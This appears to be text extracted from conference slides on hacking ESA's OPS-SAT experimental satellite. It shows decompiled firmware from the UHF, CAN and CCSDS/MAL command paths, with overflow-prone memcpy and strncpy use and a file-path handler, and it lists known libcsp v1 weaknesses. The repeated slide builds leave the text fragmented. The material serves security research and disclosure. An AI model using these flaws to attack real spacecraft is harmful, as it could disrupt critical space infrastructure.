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Attacker Model

Custom Ground
Station < $10k Firmware Access

Frequency,
Modulation, etc. Known Location

TL;DR: We can talk to the satellite
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Hack CySat 2022 & 2023
How I hacked an ESA's
experimental satellite

Maurice-Michel Didelot
CySat 2023

Matteo Calabrese
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Manual Reverse
Engineering

Manual Vulnerability
Analysis

Automated Fuzz
Testing

Followed TC data paths
Missing security measures
Dangerous TC actions
Low hanging Fruits: memcpy, strcpy, etc.

Underlying system designs
"Rare" Target architectures
New protocols
Redundancies

Missing emulators
Satellite-specific configurations
More @ Typhoocon'23

https://t.me/learningnets



System Analysis

https://t.me/learningnets



OPS-Sat

Experimenter

Peripherals

S-/X-Band, SDR, Optical Rx., Camera, ...

Launched

December 2019

Payload Plattform

ARM-Based Linux + FPGA

Operated by ESA
Open for Research
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 UHF-Stack

void csp_i2c_rx(i2c_frame_t *frame,void *pxTaskWoken) {
  // ...  
  if (frame) {
    frame_len = frame->len - 4;
    if (frame_len > 0xfc) {
      csp_if_i2c.frame = csp_if_i2c.frame + 1;
      csp_buffer_free_isr(frame);
      return;
    }
    frame->len = frame_len;
    i2c_rx_csp_packet = (csp_packet_t *) frame;
    h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                        frame->data[0] << 0x18 | frame->data[2] << 8);
    frame->data[3] = (uint8_t)h32;
    frame->data[0] = (uint8_t)(h32 >> 0x18);
    frame->data[1] = (uint8_t)(h32 >> 0x10);
    frame->data[2] = (uint8_t)(h32 >> 8);
    csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);
  }
  return;
}
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uint32_t csp_ntoh32(uint32_t n32) {
  return n32;
}
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/ libcspCubesat Space Protocol (CSP) v1

Source: https://en.wikipedia.org/wiki/Cubesat_Space_Protocol
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TCP/IP Oriented Design
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Cubesat Space Protocol (CSP) v1

HMAC-SHA1 Authentication
XTEA Encryption Support

Security Issues

1. MAC comparison leaks timing data #44
memcmp to compare the digest

2. HMAC doesn't protect headers #45
Same problem for the CRC checks

3.  XTEA encrypt packet nonce too predictable #162
const uint32_t nonce = (uint32_t)rand();

Authors: Issues fixed in libcsp v2
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TC Buffer
I2C
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Security Features
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int csp_route_security_chek(...) {
  if (packet->id.flags & CSP_FXTEA) {
    csp_log_error("Received XTEA encrypted packet, but CSP was 
compiled without XTEA support. Discarding packet");
  }
  
  // ...
  
  if (packet->id.flags & CSP_FHMAC) {
    csp_log_error("Received packet with HMAC, but CSP was compiled 
without HMAC support. Discarding packet");
  }
  
   // ...
}
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if (cspServerInitialised == false) {
  cspSocket = csp_socket(0);
  if (!cspSocket) { return; }
  
  ret = csp_bind(cspSocket, CSP_ANY_PORT);
  if (!ret) { return; }
  
  ret = csp_listen(cspSocket, 10);
  if (!ret) { return; }
  
  cspServerInitialised = true;
}
 
cspServerConn = csp_accept(cspSocket, 10);
if (cspServerConn) {
  while (request_packet = csp_read(cspServerConn,0), packet) {
    dest_port = csp_conn_dport(cspServerConn);
    switch(dest_port) {
      // ...
    }
  }
  csp_close(cspServerConn);
}
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Socket API + TCP-based ports

"Default" Server
socket, bind, listen,accept

https://t.me/learningnets



 UHF-Stack

if (cspServerInitialised == false) {
  cspSocket = csp_socket(0);
  if (!cspSocket) { return; }
  
  ret = csp_bind(cspSocket, CSP_ANY_PORT);
  if (!ret) { return; }
  
  ret = csp_listen(cspSocket, 10);
  if (!ret) { return; }
  
  cspServerInitialised = true;
}
 
cspServerConn = csp_accept(cspSocket, 10);
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  while (request_packet = csp_read(cspServerConn,0), packet) {
    dest_port = csp_conn_dport(cspServerConn);
    switch(dest_port) {
      // ...
    }
  }
  csp_close(cspServerConn);
}
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  cspSocket = csp_socket(0);

  ret = csp_bind(cspSocket, CSP_ANY_PORT);

  ret = csp_listen(cspSocket, 10);

cspServerConn = csp_accept(cspSocket, 10);

  while (request_packet = csp_read(cspServerConn,0), packet) {
    dest_port = csp_conn_dport(cspServerConn);

  csp_close(cspServerConn);

if (cspServerInitialised == false) {1
2

  if (!cspSocket) { return; }3
  4

5
  if (!ret) { return; }6
  7

8
  if (!ret) { return; }9
  10
  cspServerInitialised = true;11
}12
 13

14
if (cspServerConn) {15

16
17

    switch(dest_port) {18
      // ...19
    }20
  }21

22
}23
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socket, bind, listen,accept
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Cubesat Space Protocol (CSP) v1

Default Services

Network Info Handlers
Ping
OS Tasklist
Remaining Memory
System Reboot
Current Time

switch(csp_conn_dport(conn)) {
 case 0: // Network information handlers
     csp_cmp_handler(conn, packet);
        break;
    case 1: // Ping
        do_csp_debug(2,"SERVICE: Ping received");
        break;
    case 2: // OS Tasklist
        csp_sys_tasklist(str, size);
        // ...
        csp_send(conn, packet, 0);
        break;
    case 3: // Remaining Memory
        val = csp_sys_memfree();
        // ...
        csp_send(conn, packet, 0);
        break;
    case 4: // System Reboot
     if(packet->data[0..4] == BYTESEQ) { csp_sys_reboot(); }
   // ...
}
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Cubesat Space Protocol (CSP) v1

Default Services

Network Info Handlers
Ping
OS Tasklist
Remaining Memory
System Reboot
Current Time

switch(csp_conn_dport(conn)) {
 case 0: // Network information handlers
     csp_cmp_handler(conn, packet);
        break;
    case 1: // Ping
        do_csp_debug(2,"SERVICE: Ping received");
        break;
    case 2: // OS Tasklist
        csp_sys_tasklist(str, size);
        // ...
        csp_send(conn, packet, 0);
        break;
    case 3: // Remaining Memory
        val = csp_sys_memfree();
        // ...
        csp_send(conn, packet, 0);
        break;
    case 4: // System Reboot
     if(packet->data[0..4] == BYTESEQ) { csp_sys_reboot(); }
   // ...
}
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     if(packet->data[0..4] == BYTESEQ) { csp_sys_reboot(); }

switch(csp_conn_dport(conn)) {1
 case 0: // Network information handlers2
     csp_cmp_handler(conn, packet);3
        break;4
    case 1: // Ping5
        do_csp_debug(2,"SERVICE: Ping received");6
        break;7
    case 2: // OS Tasklist8
        csp_sys_tasklist(str, size);9
        // ...10
        csp_send(conn, packet, 0);11
        break;12
    case 3: // Remaining Memory13
        val = csp_sys_memfree();14
        // ...15
        csp_send(conn, packet, 0);16
        break;17
    case 4: // System Reboot18

19
   // ...20
}21
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dest_port = csp_conn_dport(conn);
switch(dest_port) {
  case 0x00 - 0x06:
    csp_service_handler(conn, pkt);
  case 0x07:
    rparam_service_handler(conn, pkt);
  case 0x10:
    CSP_ProcessReceivedSPP(pkt);
}

1
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9

Central Services

// csp_listen, _bind(0x14), _accept
switch(val) {
  case 0x1: // Set ADCS Mode
    memcpy(packet->data + 2, _adcs_mode, 7);
    packet->data[1] = '\0';
    packet->length = 0;
    goto send_packet_set_len;
  case 0x1c:
    gs_adcs_gps_on();
    break;
  case '\x14': # Set ADCS Wheel position
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);
    packet->data[1] = '\0';
    h16 = util_hton16(val0);
    packet->data[5] = (char)(h16 & 0xffff);
    packet->data[4] = (char)((h16 & 0xffff) >> 8);
    h16 = util_hton16(val1);
    packet->data[7] = (char)(h16 & 0xffff);
    packet->data[6] = (char)((h16 & 0xffff) >> 8);
 
    packet->length = 0;
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dest_port = csp_conn_dport(conn);
switch(dest_port) {
  case 0x00 - 0x06:
    csp_service_handler(conn, pkt);
  case 0x07:
    rparam_service_handler(conn, pkt);
  case 0x10:
    CSP_ProcessReceivedSPP(pkt);
}
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Central Services

// csp_listen, _bind(0x14), _accept
switch(val) {
  case 0x1: // Set ADCS Mode
    memcpy(packet->data + 2, _adcs_mode, 7);
    packet->data[1] = '\0';
    packet->length = 0;
    goto send_packet_set_len;
  case 0x1c:
    gs_adcs_gps_on();
    break;
  case '\x14': # Set ADCS Wheel position
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);
    packet->data[1] = '\0';
    h16 = util_hton16(val0);
    packet->data[5] = (char)(h16 & 0xffff);
    packet->data[4] = (char)((h16 & 0xffff) >> 8);
    h16 = util_hton16(val1);
    packet->data[7] = (char)(h16 & 0xffff);
    packet->data[6] = (char)((h16 & 0xffff) >> 8);
 
    packet->length = 0;
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  case 0x1: // Set ADCS Mode
    memcpy(packet->data + 2, _adcs_mode, 7);
    packet->data[1] = '\0';
    packet->length = 0;
    goto send_packet_set_len;

// csp_listen, _bind(0x14), _accept1
switch(val) {2

3
4
5
6
7

  case 0x1c:8
    gs_adcs_gps_on();9
    break;10
  case '\x14': # Set ADCS Wheel position11
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);12
    packet->data[1] = '\0';13
    h16 = util_hton16(val0);14
    packet->data[5] = (char)(h16 & 0xffff);15
    packet->data[4] = (char)((h16 & 0xffff) >> 8);16
    h16 = util_hton16(val1);17
    packet->data[7] = (char)(h16 & 0xffff);18
    packet->data[6] = (char)((h16 & 0xffff) >> 8);19
 20
    packet->length = 0;21
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 UHF-Stack

dest_port = csp_conn_dport(conn);
switch(dest_port) {
  case 0x00 - 0x06:
    csp_service_handler(conn, pkt);
  case 0x07:
    rparam_service_handler(conn, pkt);
  case 0x10:
    CSP_ProcessReceivedSPP(pkt);
}
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Central Services

// csp_listen, _bind(0x14), _accept
switch(val) {
  case 0x1: // Set ADCS Mode
    memcpy(packet->data + 2, _adcs_mode, 7);
    packet->data[1] = '\0';
    packet->length = 0;
    goto send_packet_set_len;
  case 0x1c:
    gs_adcs_gps_on();
    break;
  case '\x14': # Set ADCS Wheel position
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);
    packet->data[1] = '\0';
    h16 = util_hton16(val0);
    packet->data[5] = (char)(h16 & 0xffff);
    packet->data[4] = (char)((h16 & 0xffff) >> 8);
    h16 = util_hton16(val1);
    packet->data[7] = (char)(h16 & 0xffff);
    packet->data[6] = (char)((h16 & 0xffff) >> 8);
 
    packet->length = 0;
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  case 0x1: // Set ADCS Mode
    memcpy(packet->data + 2, _adcs_mode, 7);
    packet->data[1] = '\0';
    packet->length = 0;
    goto send_packet_set_len;

// csp_listen, _bind(0x14), _accept1
switch(val) {2

3
4
5
6
7

  case 0x1c:8
    gs_adcs_gps_on();9
    break;10
  case '\x14': # Set ADCS Wheel position11
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);12
    packet->data[1] = '\0';13
    h16 = util_hton16(val0);14
    packet->data[5] = (char)(h16 & 0xffff);15
    packet->data[4] = (char)((h16 & 0xffff) >> 8);16
    h16 = util_hton16(val1);17
    packet->data[7] = (char)(h16 & 0xffff);18
    packet->data[6] = (char)((h16 & 0xffff) >> 8);19
 20
    packet->length = 0;21

    gs_adcs_gps_on();
    break;

// csp_listen, _bind(0x14), _accept1
switch(val) {2
  case 0x1: // Set ADCS Mode3
    memcpy(packet->data + 2, _adcs_mode, 7);4
    packet->data[1] = '\0';5
    packet->length = 0;6
    goto send_packet_set_len;7
  case 0x1c:8

9
10

  case '\x14': # Set ADCS Wheel position11
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);12
    packet->data[1] = '\0';13
    h16 = util_hton16(val0);14
    packet->data[5] = (char)(h16 & 0xffff);15
    packet->data[4] = (char)((h16 & 0xffff) >> 8);16
    h16 = util_hton16(val1);17
    packet->data[7] = (char)(h16 & 0xffff);18
    packet->data[6] = (char)((h16 & 0xffff) >> 8);19
 20
    packet->length = 0;21
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 UHF-Stack

dest_port = csp_conn_dport(conn);
switch(dest_port) {
  case 0x00 - 0x06:
    csp_service_handler(conn, pkt);
  case 0x07:
    rparam_service_handler(conn, pkt);
  case 0x10:
    CSP_ProcessReceivedSPP(pkt);
}
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Central Services

// csp_listen, _bind(0x14), _accept
switch(val) {
  case 0x1: // Set ADCS Mode
    memcpy(packet->data + 2, _adcs_mode, 7);
    packet->data[1] = '\0';
    packet->length = 0;
    goto send_packet_set_len;
  case 0x1c:
    gs_adcs_gps_on();
    break;
  case '\x14': # Set ADCS Wheel position
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);
    packet->data[1] = '\0';
    h16 = util_hton16(val0);
    packet->data[5] = (char)(h16 & 0xffff);
    packet->data[4] = (char)((h16 & 0xffff) >> 8);
    h16 = util_hton16(val1);
    packet->data[7] = (char)(h16 & 0xffff);
    packet->data[6] = (char)((h16 & 0xffff) >> 8);
 
    packet->length = 0;
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  case 0x1: // Set ADCS Mode
    memcpy(packet->data + 2, _adcs_mode, 7);
    packet->data[1] = '\0';
    packet->length = 0;
    goto send_packet_set_len;

// csp_listen, _bind(0x14), _accept1
switch(val) {2

3
4
5
6
7

  case 0x1c:8
    gs_adcs_gps_on();9
    break;10
  case '\x14': # Set ADCS Wheel position11
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);12
    packet->data[1] = '\0';13
    h16 = util_hton16(val0);14
    packet->data[5] = (char)(h16 & 0xffff);15
    packet->data[4] = (char)((h16 & 0xffff) >> 8);16
    h16 = util_hton16(val1);17
    packet->data[7] = (char)(h16 & 0xffff);18
    packet->data[6] = (char)((h16 & 0xffff) >> 8);19
 20
    packet->length = 0;21

    gs_adcs_gps_on();
    break;

// csp_listen, _bind(0x14), _accept1
switch(val) {2
  case 0x1: // Set ADCS Mode3
    memcpy(packet->data + 2, _adcs_mode, 7);4
    packet->data[1] = '\0';5
    packet->length = 0;6
    goto send_packet_set_len;7
  case 0x1c:8

9
10

  case '\x14': # Set ADCS Wheel position11
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);12
    packet->data[1] = '\0';13
    h16 = util_hton16(val0);14
    packet->data[5] = (char)(h16 & 0xffff);15
    packet->data[4] = (char)((h16 & 0xffff) >> 8);16
    h16 = util_hton16(val1);17
    packet->data[7] = (char)(h16 & 0xffff);18
    packet->data[6] = (char)((h16 & 0xffff) >> 8);19
 20
    packet->length = 0;21

  case '\x14': # Set ADCS Wheel position
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);
    packet->data[1] = '\0';
    h16 = util_hton16(val0);
    packet->data[5] = (char)(h16 & 0xffff);
    packet->data[4] = (char)((h16 & 0xffff) >> 8);
    h16 = util_hton16(val1);
    packet->data[7] = (char)(h16 & 0xffff);
    packet->data[6] = (char)((h16 & 0xffff) >> 8);
 
    packet->length = 0;
    goto send_packet_set_len;
}

switch(val) {2
  case 0x1: // Set ADCS Mode3
    memcpy(packet->data + 2, _adcs_mode, 7);4
    packet->data[1] = '\0';5
    packet->length = 0;6
    goto send_packet_set_len;7
  case 0x1c:8
    gs_adcs_gps_on();9
    break;10
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send_packet_set_len:
        *(char *)((int)&packet->length + 1) = len;
send_packet:
        ret = csp_send(conn,packet,0);
        if (!ret) goto failed;;
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CAN Frames

void can_rx_task_gmv(void) {
 // ...
  if(frame_type == START) {
    // Allocate packet
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {
      tmp = csp_buffer_size();
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
      curr_buf->packet = packet;
    } else { ... }
    
    curr_buf->rx_count = 0;
    curr_buf->remain = frame_id >> 0xd & 0x1f;
    // Copy to Global Buffer
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
    // ...
  }
  else if(frame_type == CONTINUE) {
    can_remain = frame_id >> 0xd & 0x1f;
    // Check continous ID
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CAN Frames

void can_rx_task_gmv(void) {
 // ...
  if(frame_type == START) {
    // Allocate packet
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {
      tmp = csp_buffer_size();
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
      curr_buf->packet = packet;
    } else { ... }
    
    curr_buf->rx_count = 0;
    curr_buf->remain = frame_id >> 0xd & 0x1f;
    // Copy to Global Buffer
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
    // ...
  }
  else if(frame_type == CONTINUE) {
    can_remain = frame_id >> 0xd & 0x1f;
    // Check continous ID
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  if(frame_type == START) {
    // Allocate packet
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {
      tmp = csp_buffer_size();
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
      curr_buf->packet = packet;
    } else { ... }
    
    curr_buf->rx_count = 0;
    curr_buf->remain = frame_id >> 0xd & 0x1f;
    // Copy to Global Buffer
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
    // ...
  }

void can_rx_task_gmv(void) {1
 // ...2
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  else if(frame_type == CONTINUE) {18
    can_remain = frame_id >> 0xd & 0x1f;19
    // Check continous ID20

if ( i b f i 1) {21
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CAN Frames

void can_rx_task_gmv(void) {
 // ...
  if(frame_type == START) {
    // Allocate packet
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {
      tmp = csp_buffer_size();
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
      curr_buf->packet = packet;
    } else { ... }
    
    curr_buf->rx_count = 0;
    curr_buf->remain = frame_id >> 0xd & 0x1f;
    // Copy to Global Buffer
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
    // ...
  }
  else if(frame_type == CONTINUE) {
    can_remain = frame_id >> 0xd & 0x1f;
    // Check continous ID
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  if(frame_type == START) {
    // Allocate packet
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {
      tmp = csp_buffer_size();
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
      curr_buf->packet = packet;
    } else { ... }
    
    curr_buf->rx_count = 0;
    curr_buf->remain = frame_id >> 0xd & 0x1f;
    // Copy to Global Buffer
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
    // ...
  }

void can_rx_task_gmv(void) {1
 // ...2
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  else if(frame_type == CONTINUE) {18
    can_remain = frame_id >> 0xd & 0x1f;19
    // Check continous ID20

  else if(frame_type == CONTINUE) {
    can_remain = frame_id >> 0xd & 0x1f;
    // Check continous ID
    if (can_remain == curr_buf->remain - 1) {
      curr_buf->remain = can_remain;
      curr_buf->rx_count = curr_buf->rx_count + (ushort)can_frame.dlc;
      // Copy to Global Buffer
      memcpy(datablockGlobalRx.Data + datablockGlobalRx.Size, 
             &can_frame.data, can_frame.dlc);
      datablockGlobalRx.Size = (uint)can_frame.dlc + datablockGlobalRx.Size;
      // ...
    }

    // Copy to Global Buffer13
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);14
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;15
    // ...16
  }17
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  }30
  else if(frame_type == END) {31
    can_remain = frame_id >> 0xd & 0x1f;32
    if (can_remain != curr_buf->remain - 1) {33
      memcpy(datablockGlobalRx.Data + datablockGlobalRx.Size, 34
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CAN Frames

void can_rx_task_gmv(void) {
 // ...
  if(frame_type == START) {
    // Allocate packet
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {
      tmp = csp_buffer_size();
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
      curr_buf->packet = packet;
    } else { ... }
    
    curr_buf->rx_count = 0;
    curr_buf->remain = frame_id >> 0xd & 0x1f;
    // Copy to Global Buffer
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
    // ...
  }
  else if(frame_type == CONTINUE) {
    can_remain = frame_id >> 0xd & 0x1f;
    // Check continous ID
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  if(frame_type == START) {
    // Allocate packet
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {
      tmp = csp_buffer_size();
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
      curr_buf->packet = packet;
    } else { ... }
    
    curr_buf->rx_count = 0;
    curr_buf->remain = frame_id >> 0xd & 0x1f;
    // Copy to Global Buffer
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
    // ...
  }

void can_rx_task_gmv(void) {1
 // ...2
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  else if(frame_type == CONTINUE) {18
    can_remain = frame_id >> 0xd & 0x1f;19
    // Check continous ID20

  else if(frame_type == CONTINUE) {
    can_remain = frame_id >> 0xd & 0x1f;
    // Check continous ID

void can_rx_task_gmv(void) {1
 // ...2
  if(frame_type == START) {3
    // Allocate packet4
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {5
      tmp = csp_buffer_size();6
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);7
      curr_buf->packet = packet;8
    } else { ... }9
    10
    curr_buf->rx_count = 0;11
    curr_buf->remain = frame_id >> 0xd & 0x1f;12
    // Copy to Global Buffer13
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);14
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;15
    // ...16
  }17

18
19
20

  }
  else if(frame_type == END) {
    can_remain = frame_id >> 0xd & 0x1f;
    if (can_remain != curr_buf->remain - 1) {
      memcpy(datablockGlobalRx.Data + datablockGlobalRx.Size, 
             &can_frame.data, can_frame.dlc);

      datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
      memcpy(datablockGlobalRxFinal.Data, datablockGlobalRx.Data, 
             datablockGlobalRx.Size);
      datablockGlobalRxFinal.Size = datablockGlobalRx.Size;
      datablockGlobalFlag = 1;
      CAN_AddPacketToCanStore(&datablockGlobalRxFinal);

      memcpy(datablockGlobalRx.Data + datablockGlobalRx.Size, 25
             &can_frame.data, can_frame.dlc);26
      datablockGlobalRx.Size = (uint)can_frame.dlc + datablockGlobalRx.Size;27
      // ...28
    }29

30
31
32
33
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35

36
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41

      // ...42
    }43
  }44
    45
}46
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CCSDS - Protocol Stack
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CCSDS - Protocol Stack
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CCSDS - Space Packet Protocol (SPP)
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CCSDS - Space Packet Protocol (SPP)
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void TCTA_Cycle(void) {
  TCMA_CleanTCBuffers();
  TCMA_ReadCommand();
  TCMA_VerifyCommand();
  TCMA_ExecuteCommand();
  return;
}

1
2
3
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7

int TCMA_ReadCommand(void) {
  packet = gRawPacketBuffer;
  ret = COMTT_GetReceivedTCPacket(&packet,0xff,&source_channel);
  if (ret == SUCCESS) {
    CKSM_ComputeCRC(packet, &offset);
    // ...
    do {
      currentState = &gTelecommandsInProcess[i].currentState;
      if(*currentState == EMPTY) {
        *currentState = READING;
        ret = SPP_ReadSpacePacket(packet, packet.Size,
                       &gTelecommandsInProcess[i].telecommand)
        if(ret == SUCCESS) {
          // Read and set more fields ...
          *currentState = READ;
          i = 0x14;
        } else {
          *currentState = REJECTED;
        }
      }
    } while (i < 0x14);
}
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CCSDS - Message Abstraction Layer (MAL)
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CCSDS - Message Abstraction Layer (MAL)
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CCSDS - Message Abstraction Layer (MAL)
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CCSDS - Message Abstraction Layer (MAL)
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if (serviceArea == 0x20001) {
  // ...
  if ((operation & 0xffffff00) == 0x18100) { PUBSUB_MonitorEvent(msg); }
} else if (serviceArea == 0x40001) {
  // ...
  if ((operation & 0xffffff00) == 0x18100) { SUBMIT_SubmitAction(msg); }
} else if (serviceArea == 0x4a000f) {
  // ...
  operation = operation & 0xffffff00;
  if (operation == 0x10100) { SUBMIT_CreateFile(msg); }
  if (operation == 0x20100) { SUBMIT_RemoveFile(msg); }
  if (operation == 0x30100) { REQUEST_WriteFile(msg); }
  if (operation == 0x50100) { PROGRESS_ReadFile(msg); }
}
// ...
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void SUBMIT_CreateFile(MAL_Message_t *pMessage) {
  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }
  
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {
      strcpy(full_filename,"/flash/");
      strncpy(full_filename + 7,filename.character, filename.length);
      full_filename[filename.length + 7] = 0;
      file_handle = fopen(full_filename,"r");

//
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void SUBMIT_CreateFile(MAL_Message_t *pMessage) {
  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }
  
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {
      strcpy(full_filename,"/flash/");
      strncpy(full_filename + 7,filename.character, filename.length);
      full_filename[filename.length + 7] = 0;
      file_handle = fopen(full_filename,"r");

//
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  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }

void SUBMIT_CreateFile(MAL_Message_t *pMessage) {1
2
3
4
5
6
7
8
9
10

  11
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);12
  if(ret == SUCCESS) {13
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);14
    if(ret == SUCCESS) {15
      strcpy(full_filename,"/flash/");16
      strncpy(full_filename + 7,filename.character, filename.length);17
      full_filename[filename.length + 7] = 0;18
      file_handle = fopen(full_filename,"r");19

//20
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void SUBMIT_CreateFile(MAL_Message_t *pMessage) {
  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }
  
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {
      strcpy(full_filename,"/flash/");
      strncpy(full_filename + 7,filename.character, filename.length);
      full_filename[filename.length + 7] = 0;
      file_handle = fopen(full_filename,"r");

//
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  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }

void SUBMIT_CreateFile(MAL_Message_t *pMessage) {1
2
3
4
5
6
7
8
9
10

  11
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);12
  if(ret == SUCCESS) {13
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);14
    if(ret == SUCCESS) {15
      strcpy(full_filename,"/flash/");16
      strncpy(full_filename + 7,filename.character, filename.length);17
      full_filename[filename.length + 7] = 0;18
      file_handle = fopen(full_filename,"r");19

//20

  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {

  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);3
  if(ret == SUCCESS) {4
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);5
    if(ret == SUCCESS) {6
      // Inform about Acceptance7
      COMActivityTracking_PublishAcceptanceEvent(...);8
    }9
  }10
  11

12
13
14
15

      strcpy(full_filename,"/flash/");16
      strncpy(full_filename + 7,filename.character, filename.length);17
      full_filename[filename.length + 7] = 0;18
      file_handle = fopen(full_filename,"r");19
      // ...20
      21
      MAL_WriteUInteger(...);22
      MAL_WriteBoolean(...);23

MOSManager SendMessage(&outputMessage SUBMIT CreateFile);24
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void SUBMIT_CreateFile(MAL_Message_t *pMessage) {
  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }
  
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {
      strcpy(full_filename,"/flash/");
      strncpy(full_filename + 7,filename.character, filename.length);
      full_filename[filename.length + 7] = 0;
      file_handle = fopen(full_filename,"r");

//

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }

void SUBMIT_CreateFile(MAL_Message_t *pMessage) {1
2
3
4
5
6
7
8
9
10

  11
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);12
  if(ret == SUCCESS) {13
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);14
    if(ret == SUCCESS) {15
      strcpy(full_filename,"/flash/");16
